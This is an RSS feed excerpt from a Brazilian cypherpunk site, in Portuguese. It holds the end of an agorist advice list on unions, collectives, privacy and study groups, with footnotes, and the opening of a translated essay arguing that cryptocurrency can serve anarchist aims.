&lt;p>Amir Taaki&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> é um dos mais notáveis criptoanarquistas. Ele defendeu a experiência socialista de Rojava e inclusive foi lutar junto com povo curdo contra o Estado Islâmico. Derrick Broze&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>, que ouso dizer ser o maior nome do agorismo da atualidade, defende a experiência comunista de Chiapas e a considera legítima e também que é uma experiência contra-econômica. A maioria das vertentes anarquistas apenas discutem quais meios são melhores para abolir o estado, mas não necessariamente se contradizem. Vale lembrar que Konkin colocava o agorismo como &lt;em>esquerda radical&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/em> justamente pelo potencial revolucionário que possuía. Claro que existem movimentos que não tem como andarem juntos, como o plataformismo e anarquismo especifista. Em geral o convívio entre vertentes anarquistas devem ser defendidas se as mesmas mostrarem uma boa convivência. Vale lembrar que os movimentos mutualista, ilegalista e anarquista individualista praticam a contra-economia de forma consciente e ainda escrevem bastante sobre o assunto.&lt;/p>
&lt;p>&lt;strong>3. Não estudem só a ideia em si, mas o contexto em que elas surgiram.&lt;/strong>&lt;/p>
&lt;p>Isso é algo que muitos esquecem! O contexto é muito importante para entender como pensamentos políticos, sociológicos e econômicos se desenvolveram. Konkin não fazia juízo de valor de Marx, ao contrário, ele considerava que Marx era uma reação natural aos problemas que vieram junto com a revolução industrial e elaborou daí sua crítica à teoria de classe marxista.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> Estudem Max Stirner, Kropotkin, Emma Goldman, Renzo Novatore, entre outros&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> e verão que eles têm muito a mostrar a vocês.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;strong>4. Sindicatos autônomos são extremamente importantes para o funcionamento do mercado.&lt;/strong>&lt;/p>
&lt;p>É comum as pessoas terem um pé atrás a respeito dos sindicatos. O motivo foi porque durante a era Vargas&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> os sindicatos aqui no Brasil foram aparelhados pelo estado e anos depois criaram o imposto sindical para tentar legitima-los. Porém, sindicatos autônomos são &lt;em>voluntários&lt;/em>. São uma forma legítima de trabalhadores se organizarem para negociarem melhores condições de trabalho. Existem situações em que sozinho não se consegue ir muito longe e estará sujeito aos ditames que o patrão decidir, porém com organização, é possível de fato negociar com os patrões e lutar por condições melhores de trabalho e de vida.&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;strong>5. Coletivo não é a mesma coisa que coletivismo, se organizem.&lt;/strong>&lt;/p>
&lt;p>Muitos aqui tem medo de criarem coletivos justamente por causa dessa confusão. O Cypherpunks Brasil, o projeto Baixa Cultura,&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> o Razão Inadequada,&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> entre outros, todos esses projetos são coletivos. Não existe nenhum problema em grupos de pessoas se organizarem em prol de um interesse comum. Max Stirner havia criado o conceito de &amp;ldquo;União dos Egoístas&amp;rdquo;,&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> que em resumo, seria a uma forma de pessoas se manterem unidas por vantagens e interesses mútuos. Se &lt;em>organizem,&lt;/em> criem &lt;em>redes de apoio mútuo,&lt;/em> grupos de estudo, ocupem espaços e coloquem os que tem a mesma visão juntos. A Secessão individual é extremamente importante, mas nos dias atuais o melhor jeito de conseguir se separar do estado é se organizando e se ajudando, criando métodos em conjunto para se separar do aparato do estado o máximo possível.&lt;/p>
&lt;p>&lt;strong>6. Hierarquias verticais não são naturais, são uma tentativa de emular a estrutura do estado em outras situações.&lt;/strong>&lt;/p>
&lt;p>A existencia do próprio estado altera toda a estrutura social que ele ocupa, dessa forma, onde houver estado, haverá assimetrias de poder, privilégios, corrupção&amp;hellip; E uma dessa estruturas a serem corrompidas é a estrutura trabalhista, onde temos um centro (patrão, empresa) do qual toma as decisões de maneira centralizada e distribui a renda obtida dessa forma. Com a derrubada do estado, todas as estruturas sofrerão mudanças, desde a familia, até a organização trabalhista, fazendo o trabalho tender a ser remunerado com bases em contratos de renda volátil (porcentagem dos lucros do empreendimento), dessa forma, há uma mistura e mescla do trabalhador à empresa e não apenas como uma terceirização (salários).&lt;/p>
&lt;blockquote>
&lt;p>“Em uma sociedade agorista, a divisão do trabalho e o respeito próprio de cada trabalhador… provavelmente eliminará a organização empresarial tradicional — especialmente a hierarquia corporativa, uma imitação do Estado e não do Mercado. A maioria dos empreendimentos serão associações de contratantes independentes, consultores e outras companhias. Muitos podem ser apenas um empreendedor e todos os seus serviços, computadores, fornecedores e clientes.&amp;quot; - Samuel Edward Konkin III.&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup>&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>7. O Mercado é um fator histórico que transcende o capitalismo, não fruto do mesmo.&lt;/strong>&lt;/p>
&lt;p>Acredito que quando terminarmos a revisão do Agorismo no Século 21&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> e finalmente estiver publicado no nosso site isso ficará mais claro. Mas o mercado sempre existiu, o que devemos de fato é ocupar seu uso e tratá-lo como uma ferramenta, não como um fim, mas como um meio de uso e organização para enfim chegarmos na Ágora.&lt;/p>
&lt;p>&lt;strong>8. Zelar pelo seus dados fora da internet também é importante&lt;/strong>&lt;/p>
&lt;p>Quem é da área de segurança sabe como é fácil atacar pessoas através de engenharia social,&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup> mas além disso, sempre é bom tomar cuidado com quem você entrega informações pessoais, seja segredos, pensamentos políticos, até mesmo o nome de algum familiar pode ser usado contra você se alguém estiver disposto a te atacar, seja parente, amigo, colega de trabalho, o que for.&lt;/p>
&lt;p>&lt;strong>9. Defender políticos e vertentes políticas estatistas não colaboram para diminuição ou desmantelamento do estado.&lt;/strong>&lt;/p>
&lt;p>Isso pelo simples fato de as ideias a serem propagadas serem o de conciliamento com o estado, não o radicalismo de sua destruição. Sem contar o fato de existirem coisas mais importantes, como a aceitação pública, classes dominantes de setores da economia, intervenção nacional e internacional&amp;hellip; Um político é apenas a marionete e acreditar em seus discursos é como uma criança acreditar no papai Noel.&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Um partido político por sua natureza busca o controle da máquina do monopólio da coerção legitimada - o estado. Os libertários buscam abolir o estado. Um partido político não consegue abolir o estado - faz parte da máquina eleitoral - faz parte do estado. A razão de ser de um partido político é capturar o estado. Qualquer um que tente lhe dizer algo diferente está falando coisas sem sentido&amp;rdquo; - Samuel Edward Konkin III.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>10. Procurem fazer amizades locais, em sua cidade e estado.&lt;/strong>&lt;/p>
&lt;p>Para assim formar grupos de apoio, tanto para ajudar um ao outro em relação a problemas financeiros, quanto para formar laços de companheirismo e apoio. Isso fortalece o movimento anti-estado e fornece um meio para a formação de relações cada vez mais complexas e independentes.&lt;/p>
&lt;p>&lt;strong>11. Montem grupos de estudo.&lt;/strong>&lt;/p>
&lt;p>Não apenas de uma área, mas de várias, como sobrevivencialismo, escotismo, esportes, mercados, notícias&amp;hellip; em grupo é possível juntar uma quantidade muito maior de conhecimento e assim fazer coisas que antes seriam impossíveis sozinho.&lt;/p>
&lt;p>&lt;strong>12. Façam projetos em conjunto.&lt;/strong>&lt;/p>
&lt;p>Isso não apenas amplia seu conhecimento profissional, mas também fornece mais recursos disponíveis à comunidade. Cada projeto feito em código aberto, com foco na liberdade, sempre expande, pelo menos um pouco, a capacidade do indivíduo ou grupo de serem independentes do estado. Nunca é um trabalho jogado fora e é sempre uma oportunidade de ensinar aos iniciantes sobre como trabalhar em equipe e produzir conteúdo,&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Os grandes só nos parecem grandes porque estamos de joelhos. Levantemo-nos.&amp;rdquo; - Pierre Joseph Proudhon&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>13. Como defensores da liberdade, devemos ser responsáveis pelas nossas atitudes.&lt;/strong>&lt;/p>
&lt;p>Por conta disso, certos atos não podem ser deixados de lado ou apenas considerados como algo de esquerdista ou outra coisa. Temas sobre racismo, lgbtfobia e violência contra as mulheres também deve ser levados em conta. Não é porque a esquerda usa e abusa desses grupos e outras minorias que elas devem ser excluídas, mas pelo contrário, deveriam também ser incluídas, já que isso minaria as possibilidades de discursos para a expansão do estado.&lt;/p>
&lt;p>&lt;strong>14. O meio ambiente também é importante e se envolver em projetos de conservação não o fará ser comunista.&lt;/strong>&lt;/p>
&lt;p>Plantar árvores, reciclar o lixo, cuidar dos animais, conscientizar sobre os temas ambientais é importante e extremamente cativante, ajuda tanto sua saúde mental, na forma como as pessoas te veem, tanto como o movimento é visto. Obviamente esse não é o nosso foco, mas o agorismo de mercado verde&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup> de fato é algo que deve ser defendido.&lt;/p>
&lt;blockquote>
&lt;p>“Podemos julgar o coração de um homem pela forma como ele trata os animais.” Immanuel Kant&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>15. Não sejam caretas de se tornarem máquinas de sua ideologia.&lt;/strong>&lt;/p>
&lt;p>O mundo é muito mais que apenas regurgitar os mesmos argumentos em todo local. Saber diferenciar o local com quem se deve falar e como falar é muito importante, é uma habilidade social a ser desenvolvida. Mesmo que defenda com radicalidade a propriedade privada, não é preciso ser o ser mais pão duro do planeta, mesmo defendendo isso é possível ajudar ao próximo do qual precisa de ajuda e principalmente, ajudando seus familiares e amigos próximos a crescerem junto com você.&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Não há nada tão estúpido como a inteligência orgulhosa de si mesma.&amp;rdquo; - Mikhail A. Bakunin&lt;/p>
&lt;/blockquote>
&lt;hr>
&lt;h3 id="referências-recomendações-e-observações">Referências, recomendações e observações:&lt;/h3>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>Recomendo fortemente o material do &lt;a href="https://autodefesa.org/" target="_blank" rel="noopener noreferrer">autodefesa.org&lt;/a>
&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://academy.bit2me.com/pt/quien-es-amir-taaki/" target="_blank" rel="noopener noreferrer">https://academy.bit2me.com/pt/quien-es-amir-taaki/&lt;/a>
&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://cypherpunks.com.br/author/derrick-broze/">https://cypherpunks.com.br/author/derrick-broze/&lt;/a>
&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>Mesmo Konkin colocando o agorismo como esquerda radical, é preciso deixar algo bem claro. O Manifesto do Novo Libertário foi publicado na década de 80, porém, nas décadas seguintes surgiu uma corrente dentro do anarquismo chamado de &lt;em>&lt;a href="https://pt.wikipedia.org/wiki/Anarquismo_p%C3%B3s-esquerdismo" target="_blank" rel="noopener noreferrer">Anarquismo pós-esquerda&lt;/a>
&lt;/em> que se radicalizou para fora da espectro político tradicional, essa corrente engloba o &lt;em>&lt;a href="https://protopia.fandom.com/pt-br/wiki/Anarquia_ontol%C3%B3gica_em_poucas_palavras" target="_blank" rel="noopener noreferrer">anarquismo ontológico&lt;/a>
&lt;/em> e fica evidente que o agorismo entra nesse conceito por sua ligação com o &lt;em>&lt;a href="https://cypherpunks.com.br/documentos/empreendedores-e-o-lumpemproletariado-comparando-agorismo-e-ilegalismo/">ilegalismo&lt;/a>
&lt;/em> e com o &lt;em>&lt;a href="http://www.spaz.org/~dan/individualist-anarchist/resources.html" target="_blank" rel="noopener noreferrer">individualismo&lt;/a>
&lt;/em>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://invisiblemolotov.files.wordpress.com/2008/06/agorist_class_theory.pdf" target="_blank" rel="noopener noreferrer">https://invisiblemolotov.files.wordpress.com/2008/06/agorist_class_theory.pdf&lt;/a>
&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>Muitos anarquistas clássicos estão no nosso site, vão conferir por data no início que acham eles.&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>Indicamos também a leitura do George Woodcock - História das idéias e movimentos Anarquistas &lt;a href="https://we.riseup.net/assets/70972/George-Woodcock-Historia-Das-Ideias-e-Movimentos-Anarquistas-Vol-1.pdf" target="_blank" rel="noopener noreferrer">Volume 1&lt;/a>
e &lt;a href="https://we.riseup.net/assets/70988/George-Woodcock-Historia-Das-Ideias-e-Movimentos-Anarquistas-Vol-2.pdf" target="_blank" rel="noopener noreferrer">Volume 2;&lt;/a>
e o &lt;a href="https://www.sek3.net/history-of-the-libertarian-movement.html" target="_blank" rel="noopener noreferrer">SEK3 - History of the Libertarian Movement.&lt;/a>
&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://mundoeducacao.uol.com.br/historiadobrasil/o-corporativismo-na-era-vargas.htm" target="_blank" rel="noopener noreferrer">https://mundoeducacao.uol.com.br/historiadobrasil/o-corporativismo-na-era-vargas.htm&lt;/a>
&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://cypherpunks.com.br/documentos/rumo-a-alianca-agorista-sindicalista/">https://cypherpunks.com.br/documentos/rumo-a-alianca-agorista-sindicalista/&lt;/a>
&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://baixacultura.org/" target="_blank" rel="noopener noreferrer">https://baixacultura.org/&lt;/a>
&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://razaoinadequada.com/" target="_blank" rel="noopener noreferrer">https://razaoinadequada.com/&lt;/a>
&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://pt.wikipedia.org/wiki/Uni%C3%A3o_de_ego%C3%ADstas" target="_blank" rel="noopener noreferrer">https://pt.wikipedia.org/wiki/Uni%C3%A3o_de_ego%C3%ADstas&lt;/a>
&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://docplayer.com.br/9059377-O-manifesto-do-novo-libertario.html" target="_blank" rel="noopener noreferrer">https://docplayer.com.br/9059377-O-manifesto-do-novo-libertario.html&lt;/a>
&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>Ele já está disponível em nosso &lt;a href="https://github.com/cypherpunksbr/documentos/blob/main/para%20revisar/agorismo-no-seculo-21.md" target="_blank" rel="noopener noreferrer">Github,&lt;/a>
caso queiram conferir e se possível contribuir revisando,nem que seja apenas um trecho, seriamos extremamente gratos.&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://www.kaspersky.com.br/resource-center/definitions/what-is-social-engineering" target="_blank" rel="noopener noreferrer">https://www.kaspersky.com.br/resource-center/definitions/what-is-social-engineering&lt;/a>
&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://cypherpunks.com.br/documentos/agorismo-de-mercado-verde/">https://cypherpunks.com.br/documentos/agorismo-de-mercado-verde/&lt;/a>
&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content:encoded></item><item><title>Anarquismo e Criptomoedas</title><link>https://cypherpunks.com.br/documentos/anarquismo-e-criptomoedas/</link><pubDate>Thu, 20 Oct 2022 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/anarquismo-e-criptomoedas/</guid><description>Criptomoeda, uma moeda digital em que as transações são verificadas e registradas por um sistema descentralizado usando criptografia, em vez de uma autoridade centralizada, é uma tecnologia controversa entre os anarquistas, embora seja frequentemente usada como uma ferramenta para minar o poder do Estado.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Cypherpunks Brasil
Revisado por: Matheus Bach
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="rai-ling">Rai Ling&lt;/h2>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/anarchism-cryptocurrency.webp" loading="lazy"
width="1280" height="720"
/>
&lt;/p>
&lt;h3 id="introdução">Introdução&lt;/h3>
&lt;p>Criptomoeda, uma moeda digital em que as transações são verificadas e registradas por um sistema descentralizado usando criptografia, em vez de uma autoridade centralizada, é uma tecnologia controversa entre os anarquistas, embora seja frequentemente usada como uma ferramenta para minar o poder do Estado.&lt;/p>
&lt;p>A esquerda geralmente vê a criptomoeda como negativa devido à sua função como dinheiro (que alguns procuram abolir), volatilidade, danos ostensivos ao meio ambiente, alegada falta de descentralização, golpes e associação com o liberalismo de direita, que resultaram em muitos esquerdistas - anarquistas inclinados a atacar irracionalmente contra criptos. Essas conclusões carecem de nuances, ignoram as aplicações de criptos no mundo real, decorrem da desinformação e, em última análise, equivalem ao conservadorismo tecnológico. Neste ensaio, explorarei o potencial da criptomoeda como uma ferramenta libertadora, refutarei muitos dos equívocos da esquerda sobre ela e explicarei por que ela é útil tanto em um ambiente capitalista quanto não capitalista, ao mesmo tempo em que apresento nuances sobre suas deficiências.&lt;/p>
&lt;h3 id="como-funciona-uma-criptomoeda">Como Funciona Uma Criptomoeda?&lt;/h3>
&lt;p>Antes de abordar diretamente os argumentos esquerdistas, primeiro é necessário entender como as criptomoedas funcionam e por que elas são projetadas como são. As criptomoedas normalmente usam blockchain, um livro-razão distribuído imutável que qualquer pessoa pode acessar, mas não pode alterar unilateralmente para registrar transações. Nenhuma entidade pode apreender ativos, reverter transações ou alterar o conjunto de regras para um determinado blockchain. Este livro-razão é armazenado em uma rede descentralizada de computadores que precisam chegar a um consenso para validar as transações, pois há apenas um estado válido para o livro-razão em um determinado momento.&lt;/p>
&lt;p>Blockchains usam algoritmos de consenso para desintermediar transações que, de outra forma, dependem de processadores de pagamento centralizados confiáveis. Abstratamente falando, no espaço físico, o consenso é baseado na confiança entre indivíduos ou imposto violentamente pelo governo. O custo do consenso centralizado inclui gastos policiais e militares globais usados para fazer cumprir as decisões do governo. Em um contexto sem estado, o custo do consenso é o trabalho necessário para construir relacionamentos, deliberar e fazer concessões para chegar a acordos. Em espaços físicos, o consenso torna-se mais difícil de escalar sem que as pessoas sejam anuladas porque nem todos podem concordar com um curso de ação singular. No entanto, no ciberespaço, o consenso distribuído pode ser alcançado em escala usando algoritmos.&lt;/p>
&lt;p>Blockchains permitem infraestrutura sem confiança, sem permissão, aberta e anônima para fazer transações. Essas propriedades são alcançadas por meio de um sistema de incentivos aos mineradores e validadores, que exige a introdução de custos por escassez artificial para evitar ataques de 51% e a validação de blocos maliciosos. Um ataque de 51% ocorre quando o controle de pelo menos 51% do hashrate ou participação em uma blockchain permite censurar transações, desfazer blocos e alterar a ordem das transações. A natureza desses custos depende do algoritmo de consenso usado.&lt;/p>
&lt;p>No proof-of-work, os mineradores resolvem funções de hash, um processo computacional intensivo que consome energia, pelo direito de construir o próximo bloco. Portanto, é inviável para os mineradores realizar um ataque de 51% sem grandes gastos de capital e energia. O gasto de energia também desestimula os mineradores de validar blocos maliciosos que seriam simplesmente rejeitados por outros nós que também possuem uma cópia do registro. Portanto, os incentivos estão alinhados em torno da coleta da recompensa do bloco e/ou das taxas de transação. Na prova de participação, os tokens são apostados e os nós que validam blocos maliciosos têm seus tokens cortados. Deve ser impossível para um invasor controlar a maioria dos tokens para ataques de 51%, portanto, os tokens devem reter valor. Em todos esses exemplos, a escassez artificial é usada para criar custos que, por sua vez, criam incentivos que ajudam a proteger a rede subjacente. No PoW, o incentivo para minerar vem do valor do token, o que é importante porque uma rede mais descentralizada também aumenta a segurança. Da mesma forma, em PoS, o valor do token evita 51% dos ataques, tornando caro adquirir a maior parte do suprimento.&lt;/p>
&lt;p>Portanto, há um certo grau de dependência do caminho, pois os primeiros usuários acumulam tokens e poder em suas respectivas redes, levando a uma quantidade variável de &lt;a href="https://en.wikipedia.org/wiki/Economic_rent" target="_blank" rel="noopener noreferrer">renda econômica,&lt;/a>
onde as receitas excedem os custos (incluindo custos de mão de obra). Isso ainda pode ser mitigado experimentando tokennomics, como tornar a emissão relativamente alta, ou protocolos de consenso, como proof-of-stake delegada, que é usado por blockchains como o Cosmos, onde todos os usuários podem depositar seus tokens em um validador como parte do blockchain sem executando qualquer hardware. Tecnicamente, também é possível fazer isso no Ethereum apostando em agregadores de apostas como o Lido, mas isso não faz parte do próprio protocolo de consenso. Também existem moedas como Nano, onde não há taxas de transação, embora isso venha com compensações, como grandes quantidades de spam na rede. No ecossistema de criptomoedas como um todo, as taxas de transação estão sendo constantemente reduzidas por meio de soluções de dimensionamento de 2 camadas e um ecossistema competitivo de multi-chain.&lt;/p>
&lt;p>O custo da confiança em nossa economia atual costuma ser muito maior do que os aluguéis de escassez pagos aos mineradores e taxas de transação, e é por isso que muitas pessoas usam a tecnologia blockchain para fazer transações. Ao usar um processador de pagamento centralizado, as transações são validadas por meio de serviços como ACH, Fedwire e SWIFT, que são monitorados pelo estado quanto a atividades “ilícitas” e exigem que depositemos nossa confiança nas corporações bancárias e no estado, o que não é uma opção para muitas pessoas. A razão pela qual o ACH e as transferências eletrônicas geralmente levam vários dias úteis é que as transações são “processadas” ou auditadas pelo estado. Nos EUA, o Federal Reserve cumpre essa função. Ao usar serviços regulamentados, a pessoa está implicitamente confiando nas corporações e no governo. Esses serviços limitam os serviços a pessoas com base em determinado local, profissão, status legal e assim por diante, enquanto o blockchain não tem permissão, a única coisa em que se deve confiar são os incentivos criados pelo protocolo de consenso, ou &amp;ldquo;matemática&amp;rdquo;, como alguns dizem.&lt;/p>
&lt;h2 id="criptomoeda-como-ferramenta-de-libertação">Criptomoeda Como Ferramenta de Libertação&lt;/h2>
&lt;p>Para a maioria dos esquerdistas, a criptomoeda é vista principalmente como uma ferramenta para especulação financeira repleta de golpes. De fato, muitos dos primeiros usuários ganharam milhões, pois a escassez artificial combinada com um influxo de capital especulativo fez com que os preços das criptomoedas aumentassem exponencialmente. O espaço também está repleto de golpes, alguns óbvios e outros não. No entanto, esses fatos não diminuem seus benefícios e cobrem apenas uma pequena fração do quadro geral. Na mesma linha, a internet também está repleta de golpes e criou muitos bilionários. Nenhum desses fatos significa que devemos acabar com a internet, mas sim pensar em como ela é projetada e organizada.&lt;/p>
&lt;p>A criptomoeda permite que as pessoas façam transações não autorizadas, protejam seus ativos da apreensão do governo e escapem da vigilância financeira, que desafia vários vetores importantes da opressão estatal. Sua propriedade sem permissão significa que as pessoas podem comprar drogas, remeter dinheiro, financiar atividades não autorizadas como protestos e evitar impostos, tudo sem ter que passar por canais controlados pelo estado. Por exemplo, &lt;a href="https://decrypt.co/46019/bitcoin-helping-undocumented-immigrants-send-money" target="_blank" rel="noopener noreferrer">pessoas indocumentadas usam cripto para remeter fundos&lt;/a>
sem precisar usar bancos, aos quais podem não ter acesso e podem expô-los ao estado. Ao contrário do setor bancário, redes criptográficas suficientemente descentralizadas não podem estar sujeitas a sanções internacionais e não requerem identificação para uso. &lt;a href="https://www.cnbc.com/2022/02/05/bitcoin-a-lifeline-for-sex-workers-like-ex-nurse-making-1point3-million.html" target="_blank" rel="noopener noreferrer">Profissionais do sexo&lt;/a>
o usam para pagamentos depois de serem barradas em bancos e plataformas como Patreon, Cashapp e Ko-fi, que também têm requisitos arbitrários de KYC (know your customer). A criptomoeda foi usada na Nigéria para &lt;a href="https://qz.com/africa/1922466/how-bitcoin-powered-nigerias-endsars-protests" target="_blank" rel="noopener noreferrer">financiar um movimento anti-brutalidade policial&lt;/a>
que foi barrado no setor bancário. Também é usado para comprar drogas recreativas e salva-vidas, como HRT, em mercados pretos e cinzas, como Hydra.&lt;/p>
&lt;p>&lt;a href="https://blog.chainalysis.com/reports/2022-global-crypto-adoption-index/" target="_blank" rel="noopener noreferrer">Um estudo recente da Chainalysis&lt;/a>
mostra que a “adoção popular de criptomoedas” é alta em mercados emergentes e países com condições financeiras instáveis e níveis relativamente altos de repressão monetária, como Vietnã, Nigéria e Ucrânia. Uma cripto também permite que as pessoas contornem as sanções estrangeiras. Por exemplo, &lt;a href="https://theintercept.com/2022/01/19/crypto-afghanistan-sanctions-taliban/" target="_blank" rel="noopener noreferrer">no Afeganistão,&lt;/a>
uma ONG usou o BUSD, um stablecoin de dólar, para contornar as sanções dos EUA, o Talibã e os bancos falidos, que foram cortados de sistemas como o SWIFT, para fornecer fundos de emergência para alimentos no período instável após a retirada americana. À medida que a adoção de cripto aumentou, o Talibã acabou banindo a cripto para forçar as pessoas a entrar no sistema bancário, onde suas atividades são mais legíveis e os fundos não podem ser facilmente transferidos para o exterior, mas, devido às suas propriedades, essas proibições são difíceis de aplicar.&lt;/p>
&lt;p>As criptomoedas tiveram uma forte adoção como forma de se proteger contra a inflação. Na Turquia, onde o governo continua a desvalorizar a lira, as casas de câmbio de Bitcoin têm aparecido nas ruas. Da mesma forma, muitos libaneses recorreram às criptomoedas depois que os bancos suspenderam os saques e a libra libanesa entrou em colapso. A mesma tendência apareceu na &lt;a href="https://www.dw.com/en/venezuelans-try-to-beat-hyperinflation-with-cryptocurrency-revolution/a-57219083" target="_blank" rel="noopener noreferrer">Venezuela&lt;/a>
durante seu período de hiperinflação. Embora muitas criptomoedas sejam voláteis, elas ainda mantêm seu valor melhor do que muitas moedas globais. Além disso, a criptomoeda globalizou o acesso ao dólar americano por meio de stablecoins. Como um aparte, embora muitas pessoas afirmem que o Bitcoin não é um hedge de inflação devido ao seu desempenho recente diante de uma inflação extremamente alta, um olhar mais atento mostra que os mercados globais não estão reagindo à inflação, mas a um &lt;em>Hawkish Fed Reserve&lt;/em> no ano passado, especificamente a partir de quando o presidente do Fed, Jerome Powell, reconheceu que a inflação não era mais transitória em novembro de 2021, um sinal de que eles parariam de desvalorizar o dólar. No período subsequente, hedges históricos de inflação, como ouro e ações de crescimento, desvalorizaram em valor, enquanto os rendimentos reais dos títulos subiram junto com o dólar. A inflação &lt;em>não controlada&lt;/em> diminui os rendimentos dos títulos reais e reduz o poder de compra da moeda fiduciária.&lt;/p>
